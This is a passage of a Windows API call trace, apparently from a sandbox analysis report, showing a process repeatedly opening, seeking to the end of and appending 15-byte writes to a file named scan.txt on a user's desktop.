[0167.191] WriteFile (in: hFile=0x252c, lpBuffer=0x281dcb8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x281dcb8*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.191] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.191] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.192] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.192] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x3b1
[0167.193] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.193] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.193] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.193] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x3c0
[0167.194] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.194] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.195] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.195] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x3cf
[0167.196] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.196] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.196] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.196] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x3de
[0167.197] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.197] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.197] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.198] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x3ed
[0167.198] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.199] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.199] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.199] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.199] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x3fc
[0167.201] WriteFile (in: hFile=0x252c, lpBuffer=0x282e038*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x282e038*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.204] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.204] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.204] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.205] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x40b
[0167.205] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.206] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.206] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.206] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x41a
[0167.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.207] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.207] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x429
[0167.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.208] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.208] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.209] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x438
[0167.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.212] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.212] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.212] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x447
[0167.213] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.213] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.213] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.214] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x456
[0167.216] WriteFile (in: hFile=0x252c, lpBuffer=0x283e3b8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2ed1c8, lpOverlapped=0x0 | out: lpBuffer=0x283e3b8*, lpNumberOfBytesWritten=0x2ed1c8*=0xf, lpOverlapped=0x0) returned 1
[0167.217] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.217] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.217] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.217] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x465
[0167.218] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.218] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.219] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.219] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x474
[0167.220] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.220] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.220] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.220] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x483
[0167.221] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.221] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.221] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.222] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x492
[0167.222] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.223] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.223] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.223] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x4a1
[0167.224] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.224] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.224] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.225] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x4b0
[0167.227] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.227] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.228] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
[0167.228] SetFilePointer (in: hFile=0x252c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2ed098*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2ed098*=0) returned 0x4bf
[0167.229] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ecc40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0167.229] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", nBufferLength=0x105, lpBuffer=0x2ecbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt", lpFilePart=0x0) returned 0x2e
[0167.229] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ed0b0) returned 1
[0167.230] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\scan.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\scan.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x252c
[0167.230] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ed020) returned 1
